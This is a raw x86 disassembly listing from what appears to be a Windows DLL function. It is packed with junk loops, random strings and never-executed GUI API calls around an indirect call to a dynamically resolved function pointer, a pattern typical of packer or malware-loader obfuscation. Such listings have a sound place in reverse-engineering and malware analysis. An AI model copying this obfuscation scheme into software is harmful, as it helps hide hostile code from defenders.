cmp dword [ebp - 0x58], 4
jge 0x1001ebe5
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x778], 0x4ec2e0cf
jmp 0x1001ebc8
mov dword [ebp - 0x58], 0
jmp 0x1001ebf5
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x1001ec0b
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x6d0], 0
jmp 0x1001ebee
mov dword [ebp - 0xcc], 0
jmp 0x1001ec24
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jg 0x1001ef62
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x60], 0
jmp 0x1001ec4b
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x1001ec61
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x310], 9
jmp 0x1001ec44
mov dword [ebp - 0x60], 0
jmp 0x1001ec71
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 4
jge 0x1001ec87
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x9f4], 2
jmp 0x1001ec6a
mov dword [ebp - 0x3d8], 0x575b
mov dword [ebp - 0x734], str.jehxujld_dmfswg_hzmmapd_mcp_xhqdr
cmp dword [ebp - 0x3d8], 0x5b14
jle 0x1001ed1e
and dword [ebp - 0x1ac], 0
jmp 0x1001ecbd
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x7af
jge 0x1001ed1e
and dword [ebp - 0x1b4], 0
jmp 0x1001ecdf
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x4776
jge 0x1001ed1c
mov eax, dword [ebp - 0x1ac]
or eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x6c4], eax
mov dword [ebp - 0x6c0], edx
push dword [ebp - 0x6c0]
push dword [ebp - 0x6c4]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001ecd2
jmp 0x1001ecb0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x310], 3
jmp 0x1001ed4c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x310]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x310], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x310], 0
jl 0x1001ef11
mov dword [ebp - 0x1bc], 0
jmp 0x1001ed79
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 1
jge 0x1001ed95
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0x72c], 0xfffffff8
jmp 0x1001ed6c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6d0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x6d0], eax
mov dword [ebp - 0x1c4], 0
jmp 0x1001edc9
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 3
jg 0x1001ef0c
mov eax, 0xc48b
test eax, eax
je 0x1001eeed
mov eax, dword [ebp - 0xcc]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x310]
mov ecx, dword [ebp + ecx*4 - 0x778]
cmp ecx, dword [ebp + eax*4 - 0x778]
je 0x1001ee12
mov dword [ebp - 0x3b8], 1
jmp 0x1001ee19
and dword [ebp - 0x3b8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ebp + ecx*4 - 0x778]
sub ecx, dword [ebp + eax - 0x778]
mov dword [ebp - 0x3b0], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3b0]
mov dword [ebp + eax - 0x72c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9f4]
cmp dword [ebp - 0x3b0], eax
je 0x1001ee6d
mov dword [ebp - 0x3c0], 1
jmp 0x1001ee74
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x3b8]
cmp eax, dword [ebp - 0x3c0]
je 0x1001ee8e
mov dword [ebp - 0x3c8], 1
jmp 0x1001ee95
and dword [ebp - 0x3c8], 0
cmp dword [ebp - 0x3c8], 0xffff
je 0x1001eead
mov dword [ebp - 0x650], 1
jmp 0x1001eeb4
and dword [ebp - 0x650], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x310]
mov eax, dword [ebp + eax*4 - 0x778]
mov dword [ebp - 0x8d0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6d0], 0xf495
je 0x1001eeed
mov dword [ebp - 0x3d0], 1
jmp 0x1001eef4
and dword [ebp - 0x3d0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0x778], ecx
jmp 0x1001edbc
jmp 0x1001ed31
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x3d8], 0x55fa
jge 0x1001ef31
mov edx, dword [ebp - 0x734]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001ef4d
mov dword [ebp - 4], 0x1b
jmp 0x1001ef5d
jmp 0x1001ec17
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x1001ef7c
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
and dword [ebp - 0x1fc], 0
jmp 0x1001ef92
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0xf
jae 0x1001f44b
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x1cc], 0
jmp 0x1001efbf
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jge 0x1001efdb
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x90], 0xf1124f01
jmp 0x1001efb2
mov dword [ebp - 0x74], 0
jmp 0x1001efeb
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x1001f438
mov dword [ebp - 0x28], 0xdd3f4672
mov dword [ebp - 0x668], 0xa5019003
mov dword [ebp - 0x1d4], 0
jmp 0x1001f01f
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 4
jge 0x1001f03b
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x9c4], 0xfffffffd
jmp 0x1001f012
mov dword [ebp - 0x438], 0x1748
mov dword [ebp - 0x720], str.esxoqftm_axwbwvkcx_cjzpgu_ujqzb_lbjx_jez_pvxgd
cmp dword [ebp - 0x438], 0x176a
jle 0x1001f0f7
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
and dword [ebp - 0x1dc], 0
jmp 0x1001f07d
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x5413
jge 0x1001f0de
and dword [ebp - 0x1e4], 0
jmp 0x1001f09f
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x322
jge 0x1001f0dc
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
cdq
mov dword [ebp - 0x6dc], eax
mov dword [ebp - 0x6d8], edx
push dword [ebp - 0x6d8]
push dword [ebp - 0x6dc]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001f092
jmp 0x1001f070
push 0x22e7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0x28], 0
jmp 0x1001f107
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jg 0x1001f3c5
mov dword [ebp - 0x420], 2
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x1ec], 0
jmp 0x1001f13e
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x1001f15a
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x1f4], 0xfffffffd
jmp 0x1001f131
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x90]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x420]
imul eax, dword [ebp - 0x28]
test eax, eax
jne 0x1001f194
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x90], 0
jne 0x1001f194
mov dword [ebp - 0x3e0], 1
jmp 0x1001f19b
and dword [ebp - 0x3e0], 0
cmp dword [ebp - 0x3e0], 0x4292
jl 0x1001f1b3
mov dword [ebp - 0x3e8], 1
jmp 0x1001f1ba
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x3e8], eax
jle 0x1001f1d1
mov dword [ebp - 0x3f0], 1
jmp 0x1001f1d8
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x3f0]
cmp eax, dword [ebp - 0x74]
jge 0x1001f1f2
mov dword [ebp - 0x3f8], 1
jmp 0x1001f1f9
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
sub eax, dword [ebp - 0x65c]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp + ecx*4 - 0x90]
add ecx, eax
je 0x1001f223
xor eax, eax
je 0x1001f223
mov dword [ebp - 0x400], 1
jmp 0x1001f22a
and dword [ebp - 0x400], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x400]
sub ecx, dword [ebp + eax - 0x90]
cmp ecx, dword [ebp - 0x28]
jl 0x1001f24e
mov dword [ebp - 0x308], 1
jmp 0x1001f255
and dword [ebp - 0x308], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x308]
mov dword [ebp + eax - 0x1f4], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x308]
mov dword [ebp + eax - 0x9c4], ecx
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x8d8], eax
mov eax, 0x2bb1e5de
test eax, eax
jl 0x1001f298
mov dword [ebp - 0x408], 1
jmp 0x1001f29f
and dword [ebp - 0x408], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f4]
cmp dword [ebp - 0x408], eax
je 0x1001f2c0
mov dword [ebp - 0x2cc], 1
jmp 0x1001f2c7
and dword [ebp - 0x2cc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp + eax - 0x9c4], ecx
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x90]
imul edx, dword [ebp - 0x2cc]
imul edx, dword [ebp - 0x28]
add edx, dword [ebp + ecx - 0x90]
imul edx, dword [ebp + eax - 0x1f4]
mov dword [ebp - 0x410], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x410]
mov dword [ebp + eax*4 - 0x90], ecx
cmp dword [ebp - 0x410], 0
je 0x1001f33f
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x1001f33f
mov dword [ebp - 0x758], 1
jmp 0x1001f346
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x8a8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f4]
cmp eax, dword [ebp - 0x74]
jg 0x1001f36d
mov dword [ebp - 0x418], 1
jmp 0x1001f374
and dword [ebp - 0x418], 0
imul eax, dword [ebp - 0x418], 6
cmp eax, 1
jl 0x1001f38c
mov dword [ebp - 0x428], 1
jmp 0x1001f393
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x420]
cmp dword [ebp - 0x428], eax
jge 0x1001f3ad
mov dword [ebp - 0x430], 1
jmp 0x1001f3b4
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x668], eax
jmp 0x1001f100
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x438], 0x14de
jge 0x1001f3e5
mov edx, dword [ebp - 0x720]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001f401
mov dword [ebp - 4], 0x1b
jmp 0x1001f411
mov byte [ebp - 0x7a], 0
movzx eax, byte [ebp - 0x7a]
test eax, eax
je 0x1001f433
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
jmp 0x1001efe4
mov eax, dword [ebp - 0x1fc]
mov byte [ebp + eax - 0x5b8], 0
jmp 0x1001ef85
mov dword [ebp - 0x78], 0x5de05dae
mov dword [ebp - 0xd4], 0x53494abc
mov dword [ebp - 0x204], 0
jmp 0x1001f475
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jge 0x1001f491
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x674], 0x23f126c7
jmp 0x1001f468
cmp dword [ebp - 0x78], 0
jne 0x1001f4ea
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x8e0], eax
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x78]
cmp eax, 0x2215256e
jge 0x1001f4b9
mov dword [ebp - 0x440], 1
jmp 0x1001f4c0
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0xfffffffa
jne 0x1001f4d5
mov dword [ebp - 0x448], 1
jmp 0x1001f4dc
and dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 0xfffffff8
jne 0x1001f4fc
or eax, 0xffffffff
je 0x1001f4fc
cmp dword [ebp - 0x78], 0
je 0x1001f4fc
mov dword [ebp - 0x450], 1
jmp 0x1001f503
and dword [ebp - 0x450], 0
cmp dword [ebp - 0x450], 1
jbe 0x1001f518
mov dword [ebp - 0x458], 1
jmp 0x1001f51f
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
sub eax, dword [ebp - 0x78]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x460], 0xb9c
mov dword [ebp - 0x750], str.tjbw_vfbqwdgj_fylmmm_wxiqkaban_wbnpc_uim_kyeubhcf_pbrnfyuch
cmp dword [ebp - 0x460], 0xe7c
jle 0x1001f5cb
and dword [ebp - 0x20c], 0
jmp 0x1001f56a
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x311d
jge 0x1001f5cb
and dword [ebp - 0x214], 0
jmp 0x1001f58c
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x2188
jge 0x1001f5c9
mov eax, dword [ebp - 0x20c]
xor eax, dword [ebp - 0x214]
cdq
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], edx
push dword [ebp - 0x6e4]
push dword [ebp - 0x6e8]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001f57f
jmp 0x1001f55d
mov dword [ebp - 0xd4], 0
jmp 0x1001f5e4
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 1
jge 0x1001f600
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x674], 4
jmp 0x1001f5d7
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x460], 0x892
jge 0x1001f620
mov edx, dword [ebp - 0x750]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001f63c
mov dword [ebp - 4], 0x1b
jmp 0x1001f64c
push 1
push 0
lea eax, [ebp - 0xa0c]
push eax
push dword [ebp - 0x468]
call fcn.10020012
add esp, 0x10
mov dword [0x100b7398], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0c]
call fcn.1001276c
cmp dword [0x100b7398], 0
je 0x1001fe5c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x4b8], 0x2a7a
mov dword [ebp - 0x728], str.rsoqajsdc_nnw_pteqsllfi_zxo_vdfzks
cmp dword [ebp - 0x4b8], 0x2deb
jle 0x1001f726
and dword [ebp - 0x21c], 0
jmp 0x1001f6c5
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x315b
jge 0x1001f726
and dword [ebp - 0x224], 0
jmp 0x1001f6e7
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x57cb
jge 0x1001f724
mov eax, dword [ebp - 0x21c]
or eax, dword [ebp - 0x224]
cdq
mov dword [ebp - 0x6f4], eax
mov dword [ebp - 0x6f0], edx
push dword [ebp - 0x6f0]
push dword [ebp - 0x6f4]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001f6da
jmp 0x1001f6b8
mov dword [ebp - 0x34], 0x9a3df603
mov dword [ebp - 0x22c], 0
jmp 0x1001f746
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x1001f762
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x98], 0x1124f01c
jmp 0x1001f739
mov dword [ebp - 0x34], 0
jmp 0x1001f772
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jg 0x1001f900
mov dword [ebp - 0x4b0], 3
mov dword [ebp - 0x680], 0xffffffff
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x98]
mov ecx, dword [ebp - 0x34]
mov dword [ebp + ecx*4 - 0x98], eax
mov eax, dword [ebp - 0x34]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x98]
imul ecx, dword [ebp + eax*4 - 0x98]
cmp ecx, 0xf068cd54
jae 0x1001f7d0
mov dword [ebp - 0x470], 1
jmp 0x1001f7d7
and dword [ebp - 0x470], 0
cmp dword [ebp - 0x470], 0x8c38ec32
je 0x1001f7ff
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x98], 0
je 0x1001f7ff
mov dword [ebp - 0x478], 1
jmp 0x1001f806
and dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 1
ja 0x1001f828
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x98], 0
je 0x1001f828
mov dword [ebp - 0x480], 1
jmp 0x1001f82f
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x480], eax
jge 0x1001f846
mov dword [ebp - 0x488], 1
jmp 0x1001f84d
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x488], eax
jg 0x1001f864
mov dword [ebp - 0x490], 1
jmp 0x1001f86b
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x4b0]
cmp dword [ebp - 0x490], eax
je 0x1001f885
mov dword [ebp - 0x498], 1
jmp 0x1001f88c
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x680]
imul eax, dword [ebp - 0x498]
mov ecx, 0xe009
sub ecx, eax
add ecx, dword [ebp - 0x34]
je 0x1001f8b8
push 2
pop eax
test eax, eax
je 0x1001f8b8
mov dword [ebp - 0x4a0], 1
jmp 0x1001f8bf
and dword [ebp - 0x4a0], 0
mov eax, 0x29ea
sub eax, dword [ebp - 0x4a0]
je 0x1001f8e8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x98], 0
je 0x1001f8e8
mov dword [ebp - 0x4a8], 1
jmp 0x1001f8ef
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4b0], eax
jmp 0x1001f76b
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x4b8], 0x29ae
jge 0x1001f923
mov edx, dword [ebp - 0x728]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001f93f
or dword [ebp - 4], 0xffffffff
jmp 0x1001f949
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x70], 4
mov dword [ebp - 0x698], 0xd416db6
mov dword [ebp - 0x70], 0
jmp 0x1001f973
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xfffffffc
jne 0x1001f996
mov byte [ebp - 0x7b], 0
movzx eax, byte [ebp - 0x7b]
test eax, eax
je 0x1001f994
push 0
push 0x281
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
jmp 0x1001f96c
mov dword [ebp - 0x70], 0
jmp 0x1001f9a6
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xfffffffd
jl 0x1001f9d9
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x754], 0xfffffff9
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x698], 0
je 0x1001f9d7
jmp 0x1001f9d9
jmp 0x1001f99f
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0xa0], 0xffffffff
mov dword [ebp - 0x518], 0xfffffffb
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x2d8], 0x310c13fe
mov dword [ebp - 0x6b0], 0xfffffffa
mov dword [ebp - 0x4f8], 0xffffffff
mov dword [ebp - 0x2d0], 8
mov dword [ebp - 0x244], 0x37ae9f90
mov dword [ebp - 0x738], 0xff65
mov dword [ebp - 0x5c4], 0xfffffffa
mov dword [ebp - 0x68], 0
jmp 0x1001fa59
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1001fa6f
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x8a4], 0xfffffffa
jmp 0x1001fa52
mov dword [ebp - 0x68], 0
jmp 0x1001fa7f
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x1001fa95
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x2e0], 0x4860c01e
jmp 0x1001fa78
mov dword [ebp - 0x4c0], 0x56ba
mov dword [ebp - 0x768], str.nib_fdn_flf
cmp dword [ebp - 0x4c0], 0x5822
jle 0x1001fb59
and dword [ebp - 0x234], 0
jmp 0x1001facf
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x26c6
jge 0x1001fb59
and dword [ebp - 0x23c], 0
jmp 0x1001faf1
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x179b
jge 0x1001fb54
mov eax, dword [ebp - 0x234]
and eax, dword [ebp - 0x23c]
cdq
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], edx
push dword [ebp - 0x6fc]
push dword [ebp - 0x700]
lea ecx, [ebp - 0xa64]
call fcn.10001341
pop ecx
pop ecx
mov dword [ebp - 0x6a4], eax
mov ecx, dword [ebp - 0x6a4]
call fcn.100013b2
push eax
call fcn.10044ce0
pop ecx
lea ecx, [ebp - 0xa64]
call fcn.100013a8
jmp 0x1001fae4
jmp 0x1001fac2
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x1001fb90
push 0x1393
push 0
push 0x26d6
push 0xcca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x4c0], 0x555a
jge 0x1001fbaf
push dword [ebp - 0x768]
call fcn.10044ce0
pop ecx
jmp 0x1001fbcb
or dword [ebp - 4], 0xffffffff
jmp 0x1001fbd5
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x8b4], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8a4], 1
xor eax, eax
inc eax
jmp 0x1001fc03
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
add eax, 0x705e4bbf
mov ecx, 0x20077fef
sub ecx, eax
cmp ecx, dword [ebp - 0xa0]
je 0x1001fc30
mov dword [ebp - 0x4d0], 1
jmp 0x1001fc37
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0xa0]
jge 0x1001fc5d
mov dword [ebp - 0x4d8], 1
jmp 0x1001fc64
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x6b0]
cmp dword [ebp - 0x4d8], eax
je 0x1001fc7e
mov dword [ebp - 0x4e0], 1
jmp 0x1001fc85
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp - 0x4e0], eax
jne 0x1001fc9f
mov dword [ebp - 0x4e8], 1
jmp 0x1001fca6
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0xa0]
imul eax, dword [ebp - 0x4e8]
cmp eax, 0xd757520c
je 0x1001fcd6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2e0], 0
je 0x1001fcd6
mov dword [ebp - 0x4f0], 1
jmp 0x1001fcdd
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x738]
cmp dword [ebp - 0x4f0], eax
jg 0x1001fcf7
mov dword [ebp - 0x500], 1
jmp 0x1001fcfe
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x4f8], eax
mov eax, dword [ebp - 0x4f8]
cmp eax, dword [ebp - 0x500]
jne 0x1001fd31
mov dword [ebp - 0x5c0], 1
jmp 0x1001fd38
and dword [ebp - 0x5c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e0]
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x244], 0x253d5ab8
jl 0x1001fd63
mov dword [ebp - 0x508], 1
jmp 0x1001fd6a
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x508], eax
jne 0x1001fd84
mov dword [ebp - 0x510], 1
jmp 0x1001fd8b
and dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0xffffffff
je 0x1001fda0
mov dword [ebp - 0x528], 1
jmp 0x1001fda7
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x518], eax
mov eax, dword [ebp - 0xa0]
imul eax, dword [ebp - 0x518]
mov dword [ebp - 0x520], eax
mov eax, dword [ebp - 0x520]
sub eax, dword [ebp - 0x528]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
cmp eax, dword [ebp - 0xa0]
jg 0x1001fdf2
mov dword [ebp - 0x530], 1
jmp 0x1001fdf9
and dword [ebp - 0x530], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e0]
cmp dword [ebp - 0x530], eax
jg 0x1001fe1a
mov dword [ebp - 0x538], 1
jmp 0x1001fe21
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x5d4], eax
push dword [ebp - 0x5d4]
push dword [ebp - 0x5dc]
call dword [0x100b7398]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5e4]
jmp 0x10020001
mov dword [ebp - 0xdc], 0xc28ade19
mov dword [ebp - 0x5f4], 0x9ed9ba07
mov dword [ebp - 0x540], 0x362d
mov dword [ebp - 0x5ec], str.glll_zsthivn_cba_vhyxytw_cdsnrm
cmp dword [ebp - 0x540], 0x374e
jle 0x1001ff40
and dword [ebp - 0x24c], 0
jmp 0x1001feaa
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x613b
jge 0x1001ff40
and dword [ebp - 0x254], 0
jmp 0x1001fed0
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x1d4d
jge 0x1001ff3b
and dword [ebp - 0x25c], 0
jmp 0x1001fef2
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x4221
jge 0x1001ff39
mov eax, dword [ebp - 0x24c]
mov ecx, dword [ebp - 0x254]
sar eax, cl
mov ecx, dword [ebp - 0x25c]
shl eax, cl
cdq
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x708], edx
push dword [ebp - 0x708]
push dword [ebp - 0x70c]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001fee5
jmp 0x1001fec3
